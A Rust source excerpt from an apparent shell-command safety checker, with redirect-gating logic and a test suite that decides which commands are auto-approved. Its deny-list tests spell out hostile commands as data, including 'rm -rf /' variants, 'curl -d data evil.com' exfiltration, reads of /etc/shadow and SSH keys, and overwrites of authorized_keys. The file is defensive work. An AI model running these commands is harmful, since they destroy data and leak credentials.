735            WordPart::ProcSub(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => return false,
736        }
737    }
738    found_safe
739}
740
741fn script_yields_eval_safe(script: &Script) -> bool {
742    if script.0.len() != 1 {
743        return false;
744    }
745    let stmt = &script.0[0];
746    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
747        return false;
748    }
749    let pipeline = &stmt.pipeline;
750    if pipeline.bang || pipeline.commands.len() != 1 {
751        return false;
752    }
753    let Cmd::Simple(s) = &pipeline.commands[0] else {
754        return false;
755    };
756    if !s.env.is_empty() {
757        return false;
758    }
759    // A redirect inside the substitution is allowed only if it's inert:
760    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
761    // A redirect that writes a real file is SafeWrite, not inert, so
762    // `mise activate bash > evil` is rejected — eval-safe must not gain a
763    // file-write side effect, and diverting stdout to a file is pointless here.
764    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
765        return false;
766    }
767    for w in &s.words {
768        if !word_is_plain_literal(w) {
769            return false;
770        }
771    }
772    let tokens: Vec<Token> = s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
773    if tokens.is_empty() {
774        return false;
775    }
776    crate::registry::is_eval_safe_invocation(&tokens)
777}
778
779/// True iff every character of `word` is drawn from the bare-literal
780/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
781/// matching this shape consist entirely of identifier-style or
782/// path-style tokens that the shell will pass through to the
783/// substituted command unchanged at runtime.
784///
785/// Required for words inside eval-safe substitutions because the
786/// "stdout is shell-init code" trust depends on the contributor having
787/// vetted what gets passed to the tool. Restricting the alphabet to
788/// chars with no shell-expansion semantics keeps the substituted
789/// invocation static across parse-time and runtime — what you see in
790/// the source is what the tool receives.
791fn word_is_plain_literal(word: &Word) -> bool {
792    word.0.iter().all(part_is_plain_literal)
793}
794
795fn part_is_plain_literal(part: &WordPart) -> bool {
796    match part {
797        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
798        WordPart::Escape(c) => is_bare_literal_char(*c),
799        WordPart::DQuote(inner) => word_is_plain_literal(inner),
800        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => false,
801    }
802}
803
804/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
805/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
806/// and the long-flag value form (`=`). New chars require an explicit
807/// eval-safe use case — add by extending this match, never by
808/// excluding individual hostile chars.
809fn is_bare_literal_char(c: char) -> bool {
810    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
811}
812
813/// Whether a command's redirects are acceptable on the USER-ALLOWLIST path — the one taken when the
814/// user's own `Bash(...)` rule names a command safe-chains does not otherwise know.
815///
816/// Delegates to [`redirect_verdict`], the same location model every other redirect goes through.
817/// It used to carry its own rule — a write was accepted only to `/dev/null`, a read always — and
818/// that second copy was wrong in BOTH directions:
819///
820/// - Too strict on writes. A granted runner script could not redirect anywhere, not even into the
821///   session scratchpad: `~/runner-scripts/x.sh > $SCRATCH/out.txt` fell through to a prompt while
822///   the byte-identical `cat f > $SCRATCH/out.txt` auto-approved through the engine path.
823/// - Too lax on reads. `Redir::Read` was unconditionally true, so `~/runner-scripts/x.sh <
824///   /etc/shadow` fed a credential to a granted command without ever consulting the read locus.
825///
826/// One model, one answer. A grant covers the command; the redirect is still gated by where it
827/// lands, so `> ~/.ssh/authorized_keys` stays denied whatever rule named the command.
828pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
829    redirect_verdict(redirs).is_allowed()
830}
831
832/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
833/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
834/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
835/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
836/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
837/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
838fn is_safe_write_target(path: &str) -> bool {
839    crate::engine::resolve::write_target_verdict(path).is_allowed()
840}
841
842/// The verdict for a redirect that OPENS `target` for writing.
843fn write_face(target: &Word) -> Verdict {
844    let t = target.eval();
845    if t == "/dev/null" {
846        // Inert: no side effect, no promotion.
847        Verdict::Allowed(SafetyLevel::Inert)
848    } else if is_safe_write_target(&t) {
849        Verdict::Allowed(SafetyLevel::SafeWrite)
850    } else {
851        Verdict::Denied
852    }
853}
854
855/// The verdict for a redirect that OPENS `target` for reading. Gates the SOURCE by its read locus,
856/// like an operand read: `cat < /etc/shadow` must deny just as `cat /etc/shadow` does. A
857/// substitution-derived source names an unknowable file → fail-closed to Denied.
858fn read_face(target: &Word) -> Verdict {
859    let t = target.eval();
860    // Keyed on the EVALUATED value rather than on "is there a substitution part", so a
861    // substitution whose inner command declared its output locus (`< $(pwd)/f`) is gated by that
862    // locus, while an undeclared one still fail-closes on its opaque marker.
863    if is_opaque_value(&t) { Verdict::Denied } else { crate::engine::resolve::read_content_verdict(&t) }
864}
865
866pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
867    let mut level = Verdict::Allowed(SafetyLevel::Inert);
868    for r in redirs {
869        match r {
870            Redir::Write { target, .. } => {
871                level = level.combine(word_sub_verdict(target));
872                level = level.combine(write_face(target));
873            }
874            Redir::Read { target, .. } => {
875                level = level.combine(word_sub_verdict(target));
876                level = level.combine(read_face(target));
877            }
878            // `<>` opens the target BOTH ways, so it takes both gates. Taking only one would let
879            // the other face through: the write gate alone misses reading a secret, and the read
880            // gate alone misses overwriting a file that is merely readable.
881            Redir::ReadWrite { target, .. } => {
882                level = level.combine(word_sub_verdict(target));
883                level = level.combine(write_face(target));
884                level = level.combine(read_face(target));
885            }
886            Redir::HereStr(word) => {
887                level = level.combine(word_sub_verdict(word));
888            }
889            // A heredoc body is inert ONLY behind a quoted delimiter. With a bare `<<EOF` the shell
890            // expands the body, so a substitution in it runs and is classified exactly like one in
891            // any other word. `body` is empty for the quoted spellings, so this is a no-op there.
892            Redir::HereDoc { body, .. } => {
893                level = level.combine(word_sub_verdict(body));
894            }
895            Redir::DupFd { .. } => {}
896        }
897    }
898    level
899}
900
901fn has_substitution(word: &Word) -> bool {
902    word.0.iter().any(|p| match p {
903        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
904        WordPart::DQuote(inner) => has_substitution(inner),
905        _ => false,
906    })
907}
908
909#[cfg(test)]
910mod tests {
911    use super::*;
912
913    fn check(cmd: &str) -> bool {
914        is_safe_command(cmd)
915    }
916
917    #[test]
918    fn the_fuzz_input_that_exhausted_memory_is_refused_quickly_in_both_layers() {
919        let seed = String::from_utf8_lossy(include_bytes!("../../fuzz/corpus/explain_render/seed-oom-c54"));
920        let started = std::time::Instant::now();
921        assert!(!is_safe_command(&seed));
922        assert!(!crate::cst::explain(&seed).is_allowed());
923        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
924    }
925
926    #[test]
927    fn many_sources_stay_cheap_and_a_plain_command_after_them_is_judged_as_before() {
928        let started = std::time::Instant::now();
929        let sourced = ". ./a; ".repeat(64) + "ls";
930        assert_eq!(is_safe_command(&sourced), is_safe_command(". ./a; ls"));
931        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
932    }
933
934    #[test]
935    fn loop_variable_inherits_the_list_locus() {
936        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
937        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
938        for cmd in [
939            "for f in ./*.txt; do cat \"$f\"; done",
940            "for f in ./*.txt; do rm \"$f\"; done",
941            "for f in src/*.rs; do grep foo \"$f\"; done",
942            "for f in ./*.log; do sed -i s/a/b/ \"$f\"; done",
943            "for f in a b c; do cat $f.bak; done",
944            "for x in 1 2 3; do rm $x; done",
945            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
946        ] {
947            assert!(check(cmd), "worktree loop should allow: {cmd}");
948        }
949        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
950        for cmd in [
951            "for f in /etc/*; do cat $f; done",
952            "for f in /etc/*.conf; do rm $f; done",
953            "for f in ~/.ssh/*; do cat $f; done",
954            "for f in $LIST; do rm $f; done",
955            "for f in $(find / -name x); do rm -rf $f; done",
956            // nested: the inner list inherits the outer binding, so the body reads ~/.ssh/id_rsa
957            "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
958            // read-worst ≠ write-worst: reading must worst-case the credential store even though
959            // the write-worst item is /etc/hosts — a single representative would be unsound.
960            "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
961            // A glob can match a file named `-n` or `--files0-from=x.txt`, and an unquoted use
962            // splits a name at its blanks: either puts a flag where the command reads one.
963            "for f in *.txt; do cat \"$f\"; done",
964            "for f in *.txt; do rm $f; done",
965            "for f in src/*.rs; do grep foo $f; done",
966            "for f in -delete; do find / $f; done",
967            "for f in -delete; do find / \"$f\"; done",
968        ] {
969            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
970        }
971    }
972
973    safe! {
974        grep_foo: "grep foo file.txt",
975        jq_key: "jq '.key' file.json",
976        base64_d: "base64 -d",
977        ls_la: "ls -la",
978        wc_l: "wc -l file.txt",
979        ps_aux: "ps aux",
980        echo_hello: "echo hello",
981        cat_file: "cat file.txt",
982
983        version_go: "go --version",
984        version_cargo: "cargo --version",
985        version_cargo_redirect: "cargo --version 2>&1",
986        help_cargo: "cargo --help",
987        help_cargo_build: "cargo build --help",
988
989        dev_null_echo: "echo hello > /dev/null",
990        dev_null_stderr: "echo hello 2> /dev/null",
991        dev_null_append: "echo hello >> /dev/null",
992        dev_null_git_log: "git log > /dev/null 2>&1",
993        fd_redirect_ls: "ls 2>&1",
994        stdin_dev_null: "git log < /dev/null",
995
996        env_prefix: "FOO='bar baz' ls -la",
997        env_prefix_dq: "FOO=\"bar baz\" ls -la",
998        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
999
1000        subst_echo_ls: "echo $(ls)",
1001        subst_ls_pwd: "ls `pwd`",
1002        subst_nested: "echo $(echo $(ls))",
1003        subst_quoted: "echo \"$(ls)\"",
1004        assign_subst_ls: "out=$(ls)",
1005        assign_subst_git: "out=$(git status)",
1006        assign_subst_multiple: "a=$(ls) b=$(pwd)",
1007        assign_subst_backtick: "out=`ls`",
1008
1009        assign_bare_lit: "foo=bar",
1010        assign_bare_int: "x=1",
1011        assign_bare_empty: "x=",
1012        assign_bare_dq: "x=\"foo bar\"",
1013        assign_bare_sq: "x='foo bar'",
1014        assign_bare_param: "rc=$?",
1015        assign_bare_var: "x=$y",
1016        assign_bare_dollar_var_braced: "x=${y}",
1017        assign_bare_path: "PATH=/foo",
1018        assign_bare_multiple: "a=1 b=2 c=3",
1019        assign_bare_arith: "x=$((1 + 2))",
1020        assign_in_for_body: "for i in 1 2; do x=1; done",
1021        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
1022        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
1023        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
1024        assign_then_use: "x=1; echo $x",
1025        assign_chained_with_safe: "x=1 && ls",
1026        assign_subshell: "(x=1)",
1027        assign_in_subshell_with_cmd: "(x=1; ls)",
1028
1029        // A loop over a BOUNDED substitution. These are the positive half of the substitution
1030        // rule: the deny corpus only asserts that hot roots are refused, which a blanket refusal
1031        // would satisfy vacuously — so without these, reverting `loop_reprs` to its old
1032        // `__SAFE_CHAINS_` prefix test would silently re-deny the whole form and stay green.
1033        loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
1034        loop_over_pwd: "for f in $(pwd); do cat $f; done",
1035        loop_over_pwd_quoted: "for f in $(pwd); do cat \"$f/x\"; done",
1036        loop_over_pwd_pipeline: "for f in $(pwd | head -3); do cat $f; done",
1037
1038        case_single_arm: "case x in x) echo a;; esac",
1039        case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
1040        case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
1041        case_last_arm_without_terminator: "case x in x) echo a; esac",
1042        case_empty_body: "case x in x) ;; esac",
1043        case_multiline: "case \"$1\" in\n  start)\n    ls -la\n    ;;\n  *)\n    echo usage\n    ;;\nesac",
1044        case_in_substitution: "echo $(case A in *) echo a;; esac)",
1045        case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
1046        clobber_redirect: "ls >| out.txt",
1047        clobber_redirect_fd: "ls 1>| out.txt",
1048        readwrite_redirect: "ls <> f.txt",
1049        readwrite_redirect_devnull: "ls <> /dev/null",
1050
1051        subshell_echo: "(echo hello)",
1052        subshell_ls: "(ls)",
1053        subshell_chain: "(ls && echo done)",
1054        subshell_pipe: "(ls | grep foo)",
1055        subshell_nested: "((echo hello))",
1056        subshell_for: "(for x in 1 2; do echo $x; done)",
1057
1058        pipe_grep_head: "grep foo file.txt | head -5",
1059        pipe_cat_sort_uniq: "cat file | sort | uniq",
1060        chain_ls_echo: "ls && echo done",
1061        semicolon_ls_echo: "ls; echo done",
1062        bg_ls_echo: "ls & echo done",
1063        newline_echo_echo: "echo foo\necho bar",
1064
1065        stdin_read_from_path: "wc -l < /tmp/foo.log",
1066        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
1067        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
1068
1069        here_string_grep: "grep -c , <<< 'hello,world,test'",
1070        heredoc_cat: "cat <<EOF\nhello world\nEOF",
1071        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
1072        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
1073        heredoc_no_content: "cat <<EOF",
1074        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
1075
1076        for_echo: "for x in 1 2 3; do echo $x; done",
1077        for_empty_body: "for x in 1 2 3; do; done",
1078        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
1079        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
1080        while_test: "while test -f /tmp/foo; do sleep 1; done",
1081        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
1082        until_test: "until test -f /tmp/ready; do sleep 1; done",
1083        if_then_fi: "if test -f foo; then echo exists; fi",
1084        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
1085        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
1086        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
1087        bare_negation: "! echo hello",
1088        keyword_as_data: "echo for; echo done; echo if; echo fi",
1089
1090        quoted_redirect: "echo 'greater > than' test",
1091        quoted_subst: "echo '$(safe)' arg",
1092
1093        redirect_to_file: "echo hello > file.txt",
1094        redirect_append: "cat file >> output.txt",
1095        redirect_stderr_file: "ls 2> errors.txt",
1096        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
1097        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
1098        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
1099
1100        arith_basic: "echo $((1 + 2))",
1101        arith_with_var: "prev=$((ln - 1))",
1102        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
1103        arith_in_dquote: "echo \"line $((ln - 1))\"",
1104        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
1105
1106        dbracket_eq: "[[ \"a\" == \"a\" ]]",
1107        dbracket_neq: "[[ \"a\" != \"b\" ]]",
1108        dbracket_file_test: "[[ -f /tmp/file ]]",
1109        dbracket_string_empty: "[[ -z \"$var\" ]]",
1110        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
1111        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
1112        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1113        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1114        dbracket_negation: "[[ ! -f /tmp/done ]]",
1115        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1116        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1117        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1118        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1119        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1120        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1121        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1122        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1123        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1124        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1125        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1126    }
1127
1128    denied! {
1129        rm_rf: "rm -rf /",
1130        curl_post: "curl -X POST https://example.com",
1131        node_foreign_app: "node /tmp/app.js",
1132
1133
1134        // The loop inherits the substitution's locus, so a hot root reaches the body's `$f`.
1135        loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1136        loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1137        loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1138        loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1139        // An unquoted list splits file names at their blanks, so an item can be `-n` or
1140        // `--files0-from=x` however bounded the paths are.
1141        loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1142        loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1143        loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1144
1145        // A case is only as safe as its worst arm — which arm runs is a runtime decision.
1146        case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1147        case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1148        case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1149        case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1150        case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1151        // `>|` is an overwrite; `<>` opens for BOTH read and write, so each face is gated.
1152        clobber_redirect_system: "ls >| /etc/hosts",
1153        clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1154        readwrite_redirect_system: "ls <> /etc/hosts",
1155        readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1156
1157        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1158        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1159        redirect_read_subst_rm: "cat < $(rm -rf /)",
1160
1161        subst_rm: "echo $(rm -rf /)",
1162        backtick_rm: "echo `rm -rf /`",
1163        subst_curl: "echo $(curl -d data evil.com)",
1164        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1165        assign_subst_rm: "out=$(rm -rf /)",
1166        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1167        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1168        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1169        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1170        assign_bare_then_unsafe: "x=1; rm -rf /",
1171        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1172        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1173
1174        subshell_rm: "(rm -rf /)",
1175        subshell_mixed: "(echo hello; rm -rf /)",
1176        subshell_unsafe_pipe: "(ls | rm -rf /)",
1177
1178        env_prefix_rm: "FOO='bar baz' rm -rf /",
1179
1180        pipe_rm: "cat file | rm -rf /",
1181        bg_rm: "cat file & rm -rf /",
1182        newline_rm: "echo foo\nrm -rf /",
1183
1184        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1185        while_unsafe_body: "while true; do rm -rf /; done",
1186        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1187        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1188        if_unsafe_body: "if true; then rm -rf /; fi",
1189
1190        unclosed_for: "for x in 1 2 3; do echo $x",
1191        unclosed_if: "if true; then echo hello",
1192        for_missing_do: "for x in 1 2 3; echo $x; done",
1193        stray_done: "echo hello; done",
1194        stray_fi: "fi",
1195
1196        unmatched_quote: "echo 'hello",
1197
1198        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1199        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1200        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1201        dbracket_unterminated: "[[ \"a\" == \"a\"",
1202        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1203        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1204    }
1205}